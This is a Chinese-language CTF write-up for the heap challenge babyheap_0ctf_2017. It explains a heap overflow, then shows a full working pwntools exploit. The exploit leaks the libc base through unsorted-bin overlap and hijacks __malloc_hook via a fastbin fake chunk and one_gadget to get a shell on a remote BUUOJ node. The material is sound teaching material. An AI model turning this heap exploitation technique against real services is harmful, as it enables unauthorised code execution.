解题所需知识:

只有这个wp可以打通其他的都不可以!!!
[FastBinAttack实战]babyheap_0ctf_2017 – TokameinE

babyheap_0ctf_2017 | 堆利用技巧 解法详录 - 暖暖草果 - 博客园 (cnblogs.com)

[分享]0ctf2017 - babyheap-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

0ctf_2017_babyheap - Rookle - 博客园 (cnblogs.com)

(24条消息) babyheap_0ctf_2017——经典fastbin attack_lunat:c的博客-CSDN博客
泄露基地讲的不错!

malloc_hook以及free_hook劫持原理 |S3cana的博客 (seanachao.github.io)
malloc_hook以及free_hook劫持原理

[[堆利用之劫持hook]]
[[onegadget的使用]]

题目信息:

┌──(kali㉿kali)-[~/Desktop]
└─$ file babyheap_0ctf_2017
babyheap_0ctf_2017: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=babyheap_0ctf_2017
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols          FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols         No    0               2               babyheap_0ctf_2017

操作位数:
保护机制:

逻辑分析:

分析:
堆的利用!!
本题需要利用到的知识有堆溢出,伪造堆块,泄露fd指针,劫持malloc_hook。

一,分析函数
Allocate((__ int64)v4) 申请空间,申请小于等于4096大小的堆块。
并且将堆的信息赋值给结构体。
struct chunk{
unsigned int inuse;(是否被使用)
unsigned int size;(大小)
char * chunkptr; (堆指针)
}
Fill(( _ _ int64)v4)向堆内填入内容,填入的大小由结构体的内容多少由自己决定!所以存在堆溢出漏洞!
Free(v4) 释放堆块并将结构体内的内容清空!
Dump((__ int64)v4) 输出堆块的内容,输出内容的多少由结构体的Size大小决定。

二,攻击分析
首先需要利用堆的分配机制泄露出一个函数地址!
在泄露函数地址后通过劫持malloc_hook,获得主机权限!

三,开始攻击
泄露地址必须将一个chunk释放后进入unsorted bin(),这个chunk中就会存放fd和bk指针,进而泄露其函数地址!

首先创建四个堆块:

chunk0-》0x21
(chunk0用于堆溢出将chunk1的大小修改为0xb1,使chunk1和hunk2重合)chunk1-》0x21
(chunk1用于泄露chunk2的内容和修复chunk2,因为alloc函数在申请空间时会将内存空间的数据清空,进而导致chunk2被破坏所以需要修复)chunk2-》0x91
(用于Free时可以进入unsortedbin其中的堆块会拥有fd和bk指针)chunk3-》0x21
(防止chunk2在释放时与topchunk和并而不进入unsortedbin中)

Allocate(0x10)#chunk0
Allocate(0x10)#chunk1
Allocate(0x80)#chunk2
Allocate(0x10)#chunk3

Fill(0,p64(0) * 3+p64(0xb1))#通过堆溢出修改chunk1将chunk2和chunk1合成一个堆块

chunk0-》0x21
chunk1-》0xb1(堆溢出覆盖)
chunk2-》0x91
chunk3-》0x21

Free(1)

chunk0-》0x21
chunk1-》0xb1(堆溢出覆盖)
chunk2-》0x90(最后一个字节是指示前一个堆块是否被释放,chunk1已经被释放)
chunk3-》0x21

Allocate(0xa0)

chunk0-》0x21
chunk1-》0xb1
chunk2-》0x00(申请回来后allocate会清空chunk1,所以需要修复chunk2)
chunk3-》0x21

Fill(1,p64(0) * 3+p64(0x91))#修复chunk2

chunk0-》0x21
chunk1-》0xb1
chunk2-》0x91(修复成功,而且实现了chunk1和chunk2堆块重叠)
chunk3-》0x21

Free(2)

chunk0-》0x21
chunk1-》0xb1
chunk2-》0x91
chunk2-》fd和bk
(都指向main_arena的地址,如果没有前后堆块就会指向main_arena)
chunk3-》0x21

Dump(1)
释放完之后就可以开始泄露main_arena的地址
由于chunk1和chunk2的堆块重叠,所以释放chunk1的内容会将chunk2的内容也输出出来从而获得libc版本。

接收泄露出来的地址后如下:
泄露出来的地址距0x7f0910cffb78 <main_arena+88>距离为88
所以main_arena的地址为:leak_addr-88

pwndbg> x/20gx 0x7f0910cffb78
0x7f0910cffb78 <main_arena+88>: 0x0000561318be50f0      0x0000000000000000
0x7f0910cffb88 <main_arena+104>:        0x0000561318be5040      0x0000561318be5040

接下来就是劫持malloc_hook,从而获取shell
malloc_hook以及free_hook劫持原理 |S3cana的博客 (seanachao.github.io)

malloc_hook的地址位于main_arena-0x10=malloc_hook_addr
然后我们需要在该位置伪造一个堆块,由于申请堆块时会检查大小所以需要找到一个内存段的大小小于0x80且内容可以包括malloc_hook_addr
正好该位置合适:malloc_hook_addr-0x23-》大小0x7f

pwndbg> x/20gx 0x7f4ad0dbeb10 -0x23
0x7f4ad0dbeaed <_IO_wide_data_0+301>:0x4ad0dbd260000000      0x000000000000007f
0x7f4ad0dbeafd: 0x4ad0a803f0000000      0x4ad0a7ffd000007f
0x7f4ad0dbeb0d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7f4ad0dbeb1d: 0x0100000000000000      0x0000000000000000
0x7f4ad0dbeb2d <main_arena+13>: 0x0000000000000000      0x0000000000000000
0x7f4ad0dbeb3d <main_arena+29>: 0x0000000000000000      0x0000000000000000
0x7f4ad0dbeb4d <main_arena+45>: 0x0000000000000000      0x0000000000000000
0x7f4ad0dbeb5d <main_arena+61>: 0x0000000000000000      0x0000000000000000
0x7f4ad0dbeb6d <main_arena+77>: 0x0000000000000000      0xbaef9600f0000000
0x7f4ad0dbeb7d <main_arena+93>: 0x0000000000000055      0xbaef960040000000

所以我们要将malloc_hook_addr-0x23伪造的fake_chunk
所以需要释放一个大小和0x7f差不多大的chunk与fake_chunk构成fast_bin链。
如下就可以了!

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55b1f7255080 —▸ 0x7f0f6252aaed (_IO_wide_data_0+301) ◂— 0xf621ec3f0000000
0x80: 0x0

易错点:
如果用malloc_hook_addr-0x23伪造的fake_chunk(大小为0x7f)
就不可以将fake_chunk链入小于0x70的fastbin中!不然会报错!

不可以这样
pwndbg> bin
fastbins
0x20: 0x55b1f7255080 —▸ 0x7f0f6252aaed(fake_chunk)大小不对等报错
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0报错信息:
找不到了!!!!!

脚本:

from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')pwnfile='./babyheap_0ctf_2017'#sh = process(pwnfile)
sh=remote("node4.buuoj.cn",26964)def Allocate(size):sh.recvuntil("Command: ")sh.sendline(str(1))sh.recvuntil("Size: ")sh.sendline(str(size))def Fill(index,content):sh.recvuntil("Command: ")sh.sendline(str(2))sh.recvuntil("Index: ")sh.sendline(str(index))size=len(content)sh.recvuntil("Size: ")sh.sendline(str(size))sh.recvuntil("Content: ")sh.sendline(content)def Free(index):sh.recvuntil("Command: ")sh.sendline(str(3))sh.recvuntil("Index: ")sh.sendline(str(index))def Dump(index):sh.recvuntil("Command: ")sh.sendline(str(4))sh.recvuntil("Index: ")sh.sendline(str(index))Allocate(0x10)#chunk0
Allocate(0x10)#chunk1
Allocate(0x80)#chunk2
Allocate(0x10)#chunk3
Allocate(0x10)#chunk4Fill(0,p64(0)*3+p64(0xb1))#通过堆溢出修改chunk1将chunk2和chunk1合成一个堆块
Free(1)#先释放
Allocate(0xa0)#然后在申请chunk1的大小0xa0就确定了
Fill(1,p64(0)*3+p64(0x91))#由于allocate分配时,会清空堆中的内容,所以修复chunk2
Free(2)#chunk2被放入unsortedbin
#gdb.attach(sh)
#pause()
Dump(1)main_arena = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-88
print("main_arena:",hex(main_arena))#地址泄漏成功
base=main_arena-0x3c4b20
print("base:",hex(base))
Allocate(0x80)#chunk2
Fill(0,p64(0)*3+p64(0x21))#修复chunk1
Free(1)#继续修复
Allocate(0x10)#然后在申请chunk1的大小0x21就确定了
#Dump(1)one_gadget=[0x45206,0x4525a,0xef9f4,0xf0897]
Free(2)fake_chunk=main_arena-0x33
print("fake_chunk:",hex(fake_chunk))
Allocate(0x60)#2
Free(2)
Fill(1,p64(0)*3+p64(0x71)+p64(fake_chunk))
Allocate(0x60)#2Allocate(0x60)#5payload=b'a'*(0x13)+p64(0x4526a+base)
print("gadget:",hex(0x4526a+base))Fill(5,payload)Allocate(0x100)#chunk6##gdb.attach(sh)
#pause()
sh.interactive()

之前报错的思路:


Allocate(0x10)#chunk0
Allocate(0x10)#chunk1
Allocate(0x80)#chunk2
Allocate(0x10)#chunk3Fill(0,p64(0)*3+p64(0xb1))#通过堆溢出修改chunk1将chunk2和chunk1合成一个堆块
Free(1)
Allocate(0xa0)
Fill(1,p64(0)*3+p64(0x91))#由于allocate分配时,会清空
Free(2)
Dump(1)
sh.recv(0x2a)
main_arena = u64(sh.recv(6).ljust(8, b'\x00'))-88
print("main_arena:",hex(main_arena))#地址泄漏成功
#libc=LibcSearcher('main_arena',main_arena)
base=main_arena-0x3c4b20
print("base:",hex(base))
#fastbin attack伪造堆快向malloc_hook写入one_gadget
one_gadget=[0x45206,0x4525a,0xef9f4,0xf0897]
Free(1)Fill(0,p64(0)*3+p64(0x21))#修复chunk1Allocate(0x80)#chunk2
Allocate(0x10)#chunk4Free(3)
fake_chunk=main_arena-0x33
print("fake_chunk:",hex(fake_chunk))Fill(2,p64(0)*17+p64(0x21)+p64(fake_chunk))Allocate(0x10)#chunk4
#Allocate(0x8)#chunk5
Allocate(0x30)#chunk5gdb.attach(sh)
pause()

伪代码:

int __fastcall Exit(__int64 a1)
{int result; // eaxint v2; // [rsp+1Ch] [rbp-4h]printf("Index: ");result = sendstring();v2 = result;if ( result >= 0 && result <= 15 ){result = *(_DWORD *)(24LL * result + a1);if ( result == 1 ){puts("Content: ");sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));return puts(byte_14F1);}}return result;
}
__int64 __fastcall Dump(__int64 a1)
{__int64 result; // raxint v2; // [rsp+1Ch] [rbp-4h]printf("Index: ");result = sendstring();v2 = result;if ( (int)result >= 0 && (int)result <= 15 ){result = *(unsigned int *)(24LL * (int)result + a1);if ( (_DWORD)result == 1 ){*(_DWORD *)(24LL * v2 + a1) = 0;*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;free(*(void **)(24LL * v2 + a1 + 16));result = 24LL * v2 + a1;*(_QWORD *)(result + 16) = 0LL;}}return result;
}
__int64 __fastcall Fill(__int64 a1)
{__int64 result; // raxint v2; // [rsp+18h] [rbp-8h]int v3; // [rsp+1Ch] [rbp-4h]printf("Index: ");result = sendstring();v2 = result;if ( (int)result >= 0 && (int)result <= 15 ){result = *(unsigned int *)(24LL * (int)result + a1);if ( (_DWORD)result == 1 ){printf("Size: ");result = sendstring();v3 = result;if ( (int)result > 0 ){printf("Content: ");return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);}}}return result;
}
void __fastcall Allocate(__int64 a1)
{int i; // [rsp+10h] [rbp-10h]int v2; // [rsp+14h] [rbp-Ch]void *v3; // [rsp+18h] [rbp-8h]for ( i = 0; i <= 15; ++i ){if ( !*(_DWORD *)(24LL * i + a1) ){printf("Size: ");v2 = sendstring();if ( v2 > 0 ){if ( v2 > 4096 )v2 = 4096;v3 = calloc(v2, 1uLL);if ( !v3 )exit(-1);*(_DWORD *)(24LL * i + a1) = 1;*(_QWORD *)(a1 + 24LL * i + 8) = v2;*(_QWORD *)(a1 + 24LL * i + 16) = v3;printf("Allocate Index %d\n", (unsigned int)i);}return;}}
}
int menus()
{puts("1. Allocate");puts("2. Fill");puts("3. Free");puts("4. Dump");puts("5. Exit");return printf("Command: ");
}
char *sub_B70()
{int fd; // [rsp+4h] [rbp-3Ch]char *addr; // [rsp+8h] [rbp-38h]unsigned __int64 v3; // [rsp+10h] [rbp-30h]__int64 buf[4]; // [rsp+20h] [rbp-20h] BYREFbuf[3] = __readfsqword(0x28u);setvbuf(stdin, 0LL, 2, 0LL);setvbuf(_bss_start, 0LL, 2, 0LL);alarm(0x3Cu);puts("===== Baby Heap in 2017 =====");fd = open("/dev/urandom", 0);if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )exit(-1);close(fd);addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )exit(-1);return &addr[v3];
}__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{char *v4; // [rsp+8h] [rbp-8h]v4 = sub_B70();while ( 1 ){menus();switch ( sendstring() ){case 1LL:Allocate((__int64)v4);break;case 2LL:Fill((__int64)v4);break;case 3LL:Dump(v4);break;case 4LL:Exit(v4);break;case 5LL:return 0LL;default:continue;}}
}

BUU刷题babyheap_0ctf_2017相关推荐

  1. BUU刷题记录——Misc(一)

    文章目录 前言: 1.九连环 2.面具下的flag 3.刷新过的图片 4.snake 5.[BJDCTF 2nd]圣火昭昭 前言: 最近学习之余在BUU上刷了几道misc题,有一些没接触过的知识,挺有 ...

  2. BUU刷题记录——5

    October 2019 Twice SQL Injection 由题目名可知为二次注入 username =1' union select database() # username =1' uni ...

  3. BUU刷题记录(四)

    以下几题的ciscn是我先抽出来做的,因为不久就是ciscn,所以看看之前的题目,先不按顺序 十七.ciscn_2019_n_3 照例checksec一下 开启了nx和canary,relro只开启部 ...

  4. [BUU刷题记录]day01-起步

    BUU-WEB 这是一个菜鸡的蜕变 先小记录一下题目环境部署必备的docker安装 sudo apt-get remove docker docker-engine docker.io contain ...

  5. BUU刷题记录——6

    [De1CTF 2019]Giftbox De1CTF Web WriteUp – 赵 login命令处盲注获取登录密码 登陆后其他可用命令 targeting code position => ...

  6. 2021-5-5 buu刷题记录

    生活所迫,从头捡回来 第一题: CTF-BUUCTF-[HCTF 2018]WarmUp php代码审计题 四个if判断 只有最后一个走得通,就是把第二个?进行2次url加密 然后得到%253f 然后 ...

  7. buu刷题记录 [PWNHUB 公开赛 2018]傻 fufu 的工作日

    [PWNHUB 公开赛 2018]傻 fufu 的工作日 [PWNHUB 公开赛 2018]傻 fufu 的工作日(上传差异绕过) | (guokeya.github.io) /index.php.b ...

  8. BUU CTF刷题之旅(Web第一页)

    前言: 之前本人是在CTFHub上刷题,已经有了一些基础,是时候换成更难的BUU了! 这里将会记录一些做题过程,希望也可以帮助到大家 [极客大挑战 2019]EasySQL 这道题主要是一个恒真的想法 ...

  9. 刷题记录-NPUCTF2020(web部分)

    在buu刷了一遍,题目好顶,还剩一题EzShiro摸不出来 ReadlezPHP 禁用了右键查看源代码 view-source: 自行加上前缀即可 打开链接/time.php?source 很明显,p ...

最新文章

  1. Relation Networks for Object Detection
  2. python超市管理系统_控制台超市系统(Python)
  3. jsoncpp去掉多余字符_如何处理JSON中的特殊字符
  4. protobuf导出golang,调整默认tag的方法
  5. java 顶点着色_Shader笔记_002简单顶点/片元着色器扩展
  6. java 日期和时间
  7. java 读取excel 文件 Unable to recognize OLE stream 错误
  8. C#图片处理之:图片缩放和剪裁
  9. idea将项目打包(jar包/war包)
  10. Fiddler添加过滤条件
  11. 给做技术的换一道菜尝尝:一月冲皇冠?凶残级淘宝店主,无法阻挡的爆款名城!...
  12. 【CAD开发】3dxml文件格式读取(Python、C++、C#)
  13. hp 服务器 sd卡作用,用4张卡聊一聊SD卡规范
  14. P02014171 刘天一 作业
  15. 平面与空间射影几何小结——空间射影几何
  16. python变量名包括_python中变量的命名以及使用
  17. 听我的!千万别学前端开发!
  18. windows mysql 开启非3306端口
  19. win11安卓子系统WSA的安装和使用
  20. Python 将一个已知的 utc时间字符串 转换为东八区时间

热门文章

  1. selinux运行程序Permission denied,无avc log
  2. React-Native 踩坑------MIUI12“Text“组件显示异常
  3. 万维网源代码将作为NFT拍卖
  4. Win10快速启动栏不见了怎么办?Win10快速启动栏设置图解
  5. 巴西电子商务公共数据集
  6. 剖析Hibernate主键生成几种常用方式
  7. Python计算机视觉读书笔记_04:获得文件夹中所有图片文件名,并生成列表
  8. RabbitMQ有关限流QOS的理解
  9. Checkra1n越狱发布日期确定,Pwn20越狱A12/A13芯片的越狱建议
  10. Kali Linux 弱点分析工具全集